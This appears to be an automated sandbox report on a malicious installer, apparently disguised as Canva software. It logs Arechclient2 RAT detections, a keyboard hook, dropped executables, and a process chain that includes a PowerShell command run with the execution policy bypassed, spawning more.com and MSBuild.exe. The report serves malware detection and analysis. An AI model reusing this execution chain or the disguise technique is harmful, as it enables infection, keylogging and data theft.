Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49947 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49677 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49969 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49913 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49942
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49941
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49940
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49939
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49938
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49937
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49936
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49935
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 49902 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49934
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49933
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49932
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49931
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49930
Source: unknown	Network traffic detected: HTTP traffic on port 49925 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49971 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49936 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49876 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49960 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49929
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49928
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49927
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49926
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49925
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49924
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49923
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49922
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800

Uses secure TLS version for HTTPS connections

Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.7:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.7:49847 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Contains functionality to register a low level keyboard hook

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 13_2_06AB28C8 SetWindowsHookExW 0000000D,00000000,?,?

13_2_06AB28C8

System Summary

Malicious sample detected (through community Yara rule)

Source: amsi32_1516.amsi.csv, type: OTHER	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: 15.2.more.com.5b900c8.7.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Arechclient2 RAT Author: ditekSHen
Source: 10.2.more.com.62a00c8.7.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Arechclient2 RAT Author: ditekSHen
Source: 17.2.MSBuild.exe.c00000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Arechclient2 RAT Author: ditekSHen
Source: 15.2.more.com.5b900c8.7.unpack, type: UNPACKEDPE	Matched rule: Detects Arechclient2 RAT Author: ditekSHen
Source: 10.2.more.com.62a00c8.7.unpack, type: UNPACKEDPE	Matched rule: Detects Arechclient2 RAT Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 1516, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: C:\Users\user\AppData\Local\Temp\mebamtoyxy, type: DROPPED	Matched rule: Detects Arechclient2 RAT Author: ditekSHen
Source: C:\Users\user\AppData\Local\Temp\ggejkdxocdbcf, type: DROPPED	Matched rule: Detects Arechclient2 RAT Author: ditekSHen

Powershell drops PE file

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Roaming\SystemUtil\dobi.exe

Jump to dropped file

Contains functionality to call native functions

Source: C:\Users\user\AppData\Roaming\SystemUtil\dobi.exe

Code function: 7_2_00CF446E NtQuerySystemInformation,

7_2_00CF446E

Detected potential crypto function

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_07A55E50	4_2_07A55E50
Source: C:\Users\user\AppData\Roaming\SystemUtil\dobi.exe	Code function: 7_2_00CF7E91	7_2_00CF7E91
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 13_2_00E9C880	13_2_00E9C880
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 13_2_00E91070	13_2_00E91070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 13_2_00E9B01F	13_2_00E9B01F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 13_2_00E9D110	13_2_00E9D110
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 13_2_00E915E0	13_2_00E915E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 13_2_00E9A8FB	13_2_00E9A8FB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 13_2_00E9C843	13_2_00E9C843
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 13_2_00E9A908	13_2_00E9A908
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 13_2_00E9D0F3	13_2_00E9D0F3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 13_2_00E9B09E	13_2_00E9B09E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 13_2_00E91060	13_2_00E91060
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 13_2_00E915C3	13_2_00E915C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 13_2_00E9BD64	13_2_00E9BD64
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 13_2_00E9BD78	13_2_00E9BD78
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 13_2_0693D7C8	13_2_0693D7C8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 13_2_06930F28	13_2_06930F28
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 13_2_0693CD08	13_2_0693CD08
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 13_2_06938AF8	13_2_06938AF8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 13_2_0693A0A0	13_2_0693A0A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 13_2_069366F0	13_2_069366F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 13_2_0693D7BA	13_2_0693D7BA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 13_2_0693EFF0	13_2_0693EFF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 13_2_06930F13	13_2_06930F13
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 13_2_0693C4D8	13_2_0693C4D8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 13_2_0693CCF8	13_2_0693CCF8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 13_2_0693ED31	13_2_0693ED31
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 13_2_0693ED40	13_2_0693ED40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 13_2_06933D67	13_2_06933D67
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 13_2_069382E0	13_2_069382E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 13_2_06935BBD	13_2_06935BBD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 13_2_06935BD8	13_2_06935BD8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 13_2_0693A092	13_2_0693A092
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 13_2_06AAE4B9	13_2_06AAE4B9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 13_2_06AAE4C8	13_2_06AAE4C8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 13_2_06AAD220	13_2_06AAD220
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 13_2_06AA58C0	13_2_06AA58C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 13_2_06AB46F8	13_2_06AB46F8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 13_2_06AB57F0	13_2_06AB57F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 13_2_06AB7700	13_2_06AB7700
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 13_2_06AB2CB8	13_2_06AB2CB8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 13_2_06ABDCEC	13_2_06ABDCEC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 13_2_06AB3D60	13_2_06AB3D60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 13_2_06ABB2F0	13_2_06ABB2F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 13_2_06AB52C8	13_2_06AB52C8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 13_2_06AB6248	13_2_06AB6248
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 13_2_06AB6B88	13_2_06AB6B88
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 13_2_06AB1370	13_2_06AB1370
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 13_2_06AB0040	13_2_06AB0040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 13_2_06ABC688	13_2_06ABC688
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 13_2_06ABC679	13_2_06ABC679
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 13_2_06AB57D6	13_2_06AB57D6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 13_2_06ABE70E	13_2_06ABE70E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 13_2_06AB2CA8	13_2_06AB2CA8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 13_2_06AB3448	13_2_06AB3448
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 13_2_06AB3446	13_2_06AB3446
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 13_2_06AB3451	13_2_06AB3451
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 13_2_06ABBDB8	13_2_06ABBDB8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 13_2_06AB3D51	13_2_06AB3D51
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 13_2_06AB52B8	13_2_06AB52B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 13_2_06AB83DA	13_2_06AB83DA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 17_2_0127B01F	17_2_0127B01F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 17_2_01271070	17_2_01271070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 17_2_012715E0	17_2_012715E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 17_2_01271060	17_2_01271060
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 17_2_0127B09E	17_2_0127B09E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 17_2_012715C3	17_2_012715C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 17_2_0127A908	17_2_0127A908
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 17_2_0127BD78	17_2_0127BD78
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 17_2_0127BD45	17_2_0127BD45

PE file contains executable resources (Code or Archives)

Source: 9VbeqQbgU4.tmp.0.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (console) x86-64, for MS Windows
Source: is-SR6MP.tmp.2.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (console) x86-64, for MS Windows
Source: dobi.exe.4.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: BIT3445.tmp.12.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS

PE file contains more sections than normal

Source: 9VbeqQbgU4.exe	Static PE information: Number of sections : 11 > 10
Source: is-N7DP5.tmp.2.dr	Static PE information: Number of sections : 14 > 10
Source: dobi.exe.4.dr	Static PE information: Number of sections : 11 > 10
Source: 9VbeqQbgU4.tmp.0.dr	Static PE information: Number of sections : 11 > 10
Source: is-SR6MP.tmp.2.dr	Static PE information: Number of sections : 11 > 10
Source: BIT3445.tmp.12.dr	Static PE information: Number of sections : 11 > 10

PE file contains strange resources

Source: 9VbeqQbgU4.exe	Static PE information: Resource name: RT_GROUP_ICON type: GLS_BINARY_LSB_FIRST
Source: 9VbeqQbgU4.tmp.0.dr	Static PE information: Resource name: RT_GROUP_ICON type: GLS_BINARY_LSB_FIRST
Source: is-SR6MP.tmp.2.dr	Static PE information: Resource name: RT_GROUP_ICON type: GLS_BINARY_LSB_FIRST
Source: is-N7DP5.tmp.2.dr	Static PE information: Resource name: RT_GROUP_ICON type: GLS_BINARY_LSB_FIRST
Source: is-B2DEV.tmp.2.dr	Static PE information: Resource name: RT_GROUP_ICON type: GLS_BINARY_LSB_FIRST

Sample file is different than original file name gathered from version info

Source: 9VbeqQbgU4.exe, 00000000.00000000.1389530627.0000000000CC9000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFileName vs 9VbeqQbgU4.exe
Source: 9VbeqQbgU4.exe, 00000000.00000003.1397272912.000000000325F000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFileName vs 9VbeqQbgU4.exe
Source: 9VbeqQbgU4.exe, 00000000.00000003.1397774698.000000007E57B000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFileName vs 9VbeqQbgU4.exe
Source: 9VbeqQbgU4.exe	Binary or memory string: OriginalFileName vs 9VbeqQbgU4.exe

Uses 32bit PE files

Source: 9VbeqQbgU4.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Yara signature match

Source: amsi32_1516.amsi.csv, type: OTHER	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: 15.2.more.com.5b900c8.7.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_Arechclient2 author = ditekSHen, description = Detects Arechclient2 RAT
Source: 10.2.more.com.62a00c8.7.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_Arechclient2 author = ditekSHen, description = Detects Arechclient2 RAT
Source: 17.2.MSBuild.exe.c00000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_Arechclient2 author = ditekSHen, description = Detects Arechclient2 RAT
Source: 15.2.more.com.5b900c8.7.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_Arechclient2 author = ditekSHen, description = Detects Arechclient2 RAT
Source: 10.2.more.com.62a00c8.7.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_Arechclient2 author = ditekSHen, description = Detects Arechclient2 RAT
Source: Process Memory Space: powershell.exe PID: 1516, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: C:\Users\user\AppData\Local\Temp\mebamtoyxy, type: DROPPED	Matched rule: MALWARE_Win_Arechclient2 author = ditekSHen, description = Detects Arechclient2 RAT
Source: C:\Users\user\AppData\Local\Temp\ggejkdxocdbcf, type: DROPPED	Matched rule: MALWARE_Win_Arechclient2 author = ditekSHen, description = Detects Arechclient2 RAT

Source: 10.2.more.com.62a00c8.7.raw.unpack, -Module-.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 15.2.more.com.5b900c8.7.raw.unpack, -Module-.cs	Cryptographic APIs: 'CreateDecryptor'

Source: classification engine

Classification label: mal80.troj.spyw.evad.winEXE@20/185@1/2

Source: C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp

File created: C:\Program Files (x86)\Canva

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Roaming\Package.zip

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Mutant created: NULL
Source: C:\Users\user\AppData\Roaming\sto\coml.exe	Mutant created: \Sessions\1\BaseNamedObjects\VOVSOFT_Window_Resizer
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6200:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2848:120:WilError_03
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Mutant created: \Sessions\1\BaseNamedObjects\a381c7bea27345e09604787bfabaa590
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2864:120:WilError_03

Source: C:\Users\user\Desktop\9VbeqQbgU4.exe

File created: C:\Users\user~1\AppData\Local\Temp\is-TUTCO.tmp

Jump to behavior

Source: C:\Users\user\Desktop\9VbeqQbgU4.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\Desktop\9VbeqQbgU4.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Roaming\SystemUtil\dobi.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Roaming\SystemUtil\dobi.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sto\coml.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sto\coml.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp

File read: C:\Program Files (x86)\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\9VbeqQbgU4.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion RegisteredOrganization

Jump to behavior

Source: 9VbeqQbgU4.exe

String found in binary or memory: /LOADINF="filename"

Source: C:\Users\user\Desktop\9VbeqQbgU4.exe

File read: C:\Users\user\Desktop\9VbeqQbgU4.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\9VbeqQbgU4.exe "C:\Users\user\Desktop\9VbeqQbgU4.exe"
Source: C:\Users\user\Desktop\9VbeqQbgU4.exe	Process created: C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp "C:\Users\user~1\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp" /SL5="$103E6,81954756,1209856,C:\Users\user\Desktop\9VbeqQbgU4.exe"
Source: C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\user~1\AppData\Local\Temp\is-6VQJV.tmp\ExtractedContent.ps1"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Roaming\SystemUtil\dobi.exe "C:\Users\user\AppData\Roaming\SystemUtil\dobi.exe"
Source: C:\Users\user\AppData\Roaming\SystemUtil\dobi.exe	Process created: C:\Windows\SysWOW64\more.com C:\Windows\SysWOW64\more.com
Source: C:\Windows\SysWOW64\more.com	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Windows\SysWOW64\more.com	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
Source: unknown	Process created: C:\Users\user\AppData\Roaming\sto\coml.exe "C:\Users\user\AppData\Roaming\sto\coml.exe"
Source: C:\Users\user\AppData\Roaming\sto\coml.exe	Process created: C:\Windows\SysWOW64\more.com C:\Windows\SysWOW64\more.com
Source: C:\Windows\SysWOW64\more.com	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\more.com	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
Source: C:\Users\user\Desktop\9VbeqQbgU4.exe	Process created: C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp "C:\Users\user~1\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp" /SL5="$103E6,81954756,1209856,C:\Users\user\Desktop\9VbeqQbgU4.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\user~1\AppData\Local\Temp\is-6VQJV.tmp\ExtractedContent.ps1"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Roaming\SystemUtil\dobi.exe "C:\Users\user\AppData\Roaming\SystemUtil\dobi.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\SystemUtil\dobi.exe	Process created: C:\Windows\SysWOW64\more.com C:\Windows\SysWOW64\more.com	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sto\coml.exe	Process created: C:\Windows\SysWOW64\more.com C:\Windows\SysWOW64\more.com	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Source: C:\Users\user\Desktop\9VbeqQbgU4.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\9VbeqQbgU4.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp	Section loaded: coreuicomponents.dll	Jump to behavior
